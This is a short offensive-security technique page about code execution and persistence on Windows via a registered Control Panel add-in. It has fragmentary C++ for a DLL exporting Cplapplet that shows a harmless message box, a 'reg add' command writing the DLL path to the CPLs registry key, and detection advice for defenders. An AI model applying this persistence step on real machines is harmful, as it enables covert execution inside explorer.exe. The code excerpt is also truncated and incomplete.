Comment on page
Code Execution through Control Panel Add-ins
It's possible to force explorer.exe to load your DLL that is compiled as a Control Panel Item and is registered as a Control Panel Add-in.
This technique could also be considered for persistence.
Let's compile our control panel item (which is a simple DLL with an exported function
Cplapplet) from the below code:
extern "C" __declspec(dllexport) LONG Cplapplet(
MessageBoxA(NULL, "Hey there, I am now your control panel item you know.", "Control Panel", 0);
BOOL APIENTRY DllMain(HMODULE hModule,
Cplapplet(NULL, NULL, NULL, NULL);
Let's now register our control panel item as an add-in (defenders beware of these registry modifications):
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs" /v spotless /d "C:\labs\cplAddin\cplAddin\x64\Release\cplAddin2.dll" /f
Now, whenever the Control Panel is opened, our DLL will be injected into explorer.exe and our code will execute:
Below shows that our DLL is injected into explorer.exe:
- Look for modifications in the following registry key:
- Look for / prevent DLLs from loading from unsecure locations